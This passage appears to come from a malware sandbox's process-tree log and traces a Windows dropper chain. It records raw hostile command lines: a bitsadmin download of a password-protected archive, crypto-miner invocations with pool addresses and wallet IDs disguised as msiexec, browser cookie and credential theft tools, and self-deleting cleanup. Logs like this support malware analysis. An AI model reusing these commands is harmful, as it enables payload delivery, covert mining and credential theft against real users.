                                                                                                    C:\Users\Admin\AppData\Local\Temp\ilkwcbfz.m2i\inst.exe
                                                                                                    9⤵
                                                                                                    • Suspicious use of SetThreadContext
                                                                                                    PID:6892
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\hhrMYYZKesgnnfrkMr\vqnjNr
                                                                                                      C:\Users\Admin\AppData\Local\Temp\hhrMYYZKesgnnfrkMr\vqnjNr
                                                                                                      10⤵
                                                                                                      • Suspicious use of SetThreadContext
                                                                                                      PID:7068
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ewlLlnyHbvvFXjclIo\VGSVMO
                                                                                                        C:\Users\Admin\AppData\Local\Temp\ewlLlnyHbvvFXjclIo\VGSVMO
                                                                                                        11⤵
                                                                                                        • Suspicious behavior: LoadsDriver
                                                                                                        PID:2972
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cm04sqnr.x54\GcleanerWW.exe /mixone & exit
                                                                                                  8⤵
                                                                                                    PID:4184
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3qmczmde.e1b\SunLabsPlayer.exe /S & exit
                                                                                                    8⤵
                                                                                                      PID:6336
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\3qmczmde.e1b\SunLabsPlayer.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\3qmczmde.e1b\SunLabsPlayer.exe /S
                                                                                                        9⤵
                                                                                                        • Drops file in Program Files directory
                                                                                                        PID:5940
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                          10⤵
                                                                                                            PID:2344
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                            10⤵
                                                                                                              PID:4340
                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                              10⤵
                                                                                                                PID:7572
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                10⤵
                                                                                                                  PID:4316
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                  10⤵
                                                                                                                    PID:3924
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                    10⤵
                                                                                                                      PID:2292
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                      10⤵
                                                                                                                      • Checks for any installed AV software in registry
                                                                                                                      PID:5688
                                                                                                                    • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                      "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                                                                      10⤵
                                                                                                                      • Download via BitsAdmin
                                                                                                                      PID:3620
                                                                                                                    • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                                                                      "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pvnX6Az3B09XYRiZ -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                                                                      10⤵
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      PID:8068
                                                                                                                    • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                                                                      "C:\Program Files (x86)\lighteningplayer\data_load.exe" -p2zJ3SuXA9t5eWq2 -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                                                                      10⤵
                                                                                                                        PID:7784
                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                        10⤵
                                                                                                                          PID:8024
                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                          10⤵
                                                                                                                            PID:4384
                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                            10⤵
                                                                                                                              PID:1640
                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                              10⤵
                                                                                                                                PID:6616
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                                10⤵
                                                                                                                                  PID:5836
                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                  C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\PQUvOF\PQUvOF.dll" PQUvOF
                                                                                                                                  10⤵
                                                                                                                                    PID:980
                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                      C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\PQUvOF\PQUvOF.dll" PQUvOF
                                                                                                                                      11⤵
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      PID:5392
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                                    10⤵
                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                    PID:6192
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                                    10⤵
                                                                                                                                      PID:3292
                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                                      10⤵
                                                                                                                                        PID:4092
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                                        10⤵
                                                                                                                                          PID:6568
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nshEAFB.tmp\tempfile.ps1"
                                                                                                                                          10⤵
                                                                                                                                            PID:3924
                                                                                                                                          • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                                                                                            "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                                                                                            10⤵
                                                                                                                                              PID:3240
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jxly4xh5.jiy\app.exe /8-2222 & exit
                                                                                                                                          8⤵
                                                                                                                                            PID:6924
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jxly4xh5.jiy\app.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jxly4xh5.jiy\app.exe /8-2222
                                                                                                                                              9⤵
                                                                                                                                                PID:5688
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jxly4xh5.jiy\app.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\jxly4xh5.jiy\app.exe" /8-2222
                                                                                                                                                  10⤵
                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                  PID:8364
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
                                                                                                                                      4⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:4912
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\BE40.tmp.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\BE40.tmp.exe"
                                                                                                                                        5⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        PID:1908
                                                                                                                                        • C:\Users\Admin\AppData\Roaming\BE40.tmp.exe
                                                                                                                                          "C:\Users\Admin\AppData\Roaming\BE40.tmp.exe"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:4728
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\C0C1.tmp.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\C0C1.tmp.exe"
                                                                                                                                        5⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Adds Run key to start application
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        PID:5060
                                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                                          -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w5984@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                                                                                          6⤵
                                                                                                                                            PID:5096
                                                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                                                            -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w17029 --cpu-max-threads-hint 50 -r 9999
                                                                                                                                            6⤵
                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                            PID:4820
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
                                                                                                                                          5⤵
                                                                                                                                            PID:2184
                                                                                                                                            • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                              ping 127.0.0.1
                                                                                                                                              6⤵
                                                                                                                                              • Runs ping.exe
                                                                                                                                              PID:4568
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe"
                                                                                                                                          4⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                          PID:4600
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"
                                                                                                                                          4⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                          • Modifies system certificate store
                                                                                                                                          PID:4692
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5644
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5704
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\kabo.exe"
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                            PID:5748
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\IrecCH6.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\IrecCH6.exe"
                                                                                                                                          4⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:5716
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-NJGK8.tmp\IrecCH6.tmp
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-NJGK8.tmp\IrecCH6.tmp" /SL5="$5023E,234767,151040,C:\Users\Admin\AppData\Local\Temp\RarSFX2\IrecCH6.exe"
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:5788
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-JCCR7.tmp\player_record_48792.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-JCCR7.tmp\player_record_48792.exe" /S /UID=irecch6
                                                                                                                                              6⤵
                                                                                                                                              • Drops file in Drivers directory
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Adds Run key to start application
                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                              PID:5832
                                                                                                                                              • C:\Program Files\Java\RRAULLNBSI\irecord.exe
                                                                                                                                                "C:\Program Files\Java\RRAULLNBSI\irecord.exe" /VERYSILENT
                                                                                                                                                7⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:5932
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-P3ODP.tmp\irecord.tmp
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-P3ODP.tmp\irecord.tmp" /SL5="$20482,6139911,56832,C:\Program Files\Java\RRAULLNBSI\irecord.exe" /VERYSILENT
                                                                                                                                                  8⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                  PID:5952
                                                                                                                                                  • C:\Program Files (x86)\recording\i-record.exe
                                                                                                                                                    "C:\Program Files (x86)\recording\i-record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                    9⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:5188
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4e-fb72b-b61-02aa3-b1f0cb8cce475\Lilexutiho.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\4e-fb72b-b61-02aa3-b1f0cb8cce475\Lilexutiho.exe"
                                                                                                                                                7⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Checks computer location settings
                                                                                                                                                PID:5980
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4b-a4d84-137-da6a5-9743273133b63\Nyhoqyzheki.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\4b-a4d84-137-da6a5-9743273133b63\Nyhoqyzheki.exe"
                                                                                                                                                7⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:6012
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kxxfrs3u.14j\gaoou.exe & exit
                                                                                                                                                  8⤵
                                                                                                                                                    PID:5080
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\kxxfrs3u.14j\gaoou.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\kxxfrs3u.14j\gaoou.exe
                                                                                                                                                      9⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:5244
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                        10⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:6044
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                        10⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:2924
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                        10⤵
                                                                                                                                                          PID:2124
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                          10⤵
                                                                                                                                                            PID:7496
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\itwmpfhc.ib5\google-game.exe & exit
                                                                                                                                                        8⤵
                                                                                                                                                          PID:5732
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\itwmpfhc.ib5\google-game.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\itwmpfhc.ib5\google-game.exe
                                                                                                                                                            9⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                            • Modifies registry class
                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                            PID:2240
                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                                                                                                                                              10⤵
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • Modifies registry class
                                                                                                                                                              PID:2436
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\41nwwqqr.3kx\md1_1eaf.exe & exit
                                                                                                                                                          8⤵
                                                                                                                                                            PID:5656
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\41nwwqqr.3kx\md1_1eaf.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\41nwwqqr.3kx\md1_1eaf.exe
                                                                                                                                                              9⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                              PID:5768
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qjtttduj.51p\build.exe & exit
                                                                                                                                                            8⤵
                                                                                                                                                              PID:5940
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\qjtttduj.51p\build.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\qjtttduj.51p\build.exe
                                                                                                                                                                9⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                PID:5840
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\qjtttduj.51p\build.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                  10⤵
                                                                                                                                                                    PID:1040
                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                      taskkill /im build.exe /f
                                                                                                                                                                      11⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      PID:5896
                                                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                      timeout /t 6
                                                                                                                                                                      11⤵
                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                      PID:5696
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3rco2hba.53g\askinstall36.exe & exit
                                                                                                                                                                8⤵
                                                                                                                                                                  PID:4956
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\3rco2hba.53g\askinstall36.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\3rco2hba.53g\askinstall36.exe
                                                                                                                                                                    9⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:1776
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                      10⤵
                                                                                                                                                                        PID:5212
                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                          taskkill /f /im chrome.exe
                                                                                                                                                                          11⤵
                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                          PID:4220
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\42f5c3co.hxk\KiffApp2.exe & exit
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:5504
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42f5c3co.hxk\KiffApp2.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42f5c3co.hxk\KiffApp2.exe
                                                                                                                                                                        9⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:5880
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w1x4454y.ftc\y1.exe & exit
                                                                                                                                                                      8⤵
                                                                                                                                                                        PID:508
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\w1x4454y.ftc\y1.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\w1x4454y.ftc\y1.exe
                                                                                                                                                                          9⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                          PID:5204
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\aze4pfkg.40c\ACYCLTHBRU.exe & exit
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:4296
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\aze4pfkg.40c\ACYCLTHBRU.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\aze4pfkg.40c\ACYCLTHBRU.exe
                                                                                                                                                                            9⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:5536
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
                                                                                                                                                                              10⤵
                                                                                                                                                                                PID:5376
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                                                                                                                                                  parse.exe -f json -b firefox
                                                                                                                                                                                  11⤵
                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                  PID:5320
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                                                                                                                                                  parse.exe -f json -b edge
                                                                                                                                                                                  11⤵
                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                  PID:5248
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                                                                                                                                                  parse.exe -f json -b chrome
                                                                                                                                                                                  11⤵
                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                  PID:4744
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nkpk2nad.jfu\ABCbrowser.exe /VERYSILENT & exit
                                                                                                                                                                            8⤵
                                                                                                                                                                              PID:4844
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\nkpk2nad.jfu\ABCbrowser.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\nkpk2nad.jfu\ABCbrowser.exe /VERYSILENT
                                                                                                                                                                                9⤵
                                                                                                                                                                                  PID:4956
                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                    10⤵
                                                                                                                                                                                      PID:5272
                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0ifxcvwh.foa\toolspab1.exe & exit
                                                                                                                                                                                  8⤵
                                                                                                                                                                                    PID:4900
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\0ifxcvwh.foa\toolspab1.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\0ifxcvwh.foa\toolspab1.exe
                                                                                                                                                                                      9⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                      PID:5316
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\0ifxcvwh.foa\toolspab1.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\0ifxcvwh.foa\toolspab1.exe
                                                                                                                                                                                        10⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                                                        • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                        PID:4652
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\10u5xh14.qt5\inst.exe & exit
                                                                                                                                                                                    8⤵
                                                                                                                                                                                      PID:5308
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10u5xh14.qt5\inst.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\10u5xh14.qt5\inst.exe
                                                                                                                                                                                        9⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                        PID:2348
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\wsdMXINTJMZbhlfQaP\KeEuwf
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\wsdMXINTJMZbhlfQaP\KeEuwf
                                                                                                                                                                                          10⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:740
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\JtOCyjpHWBVzOKBZVO\LFAtzH
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\JtOCyjpHWBVzOKBZVO\LFAtzH
                                                                                                                                                                                            11⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            PID:5632
                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ch5vug51.c2v\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                      8⤵
                                                                                                                                                                                        PID:5568
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4tersxac.v4u\SunLabsPlayer.exe /S & exit
                                                                                                                                                                                        8⤵
                                                                                                                                                                                          PID:352
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\4tersxac.v4u\SunLabsPlayer.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\4tersxac.v4u\SunLabsPlayer.exe /S
                                                                                                                                                                                            9⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            • Loads dropped DLL
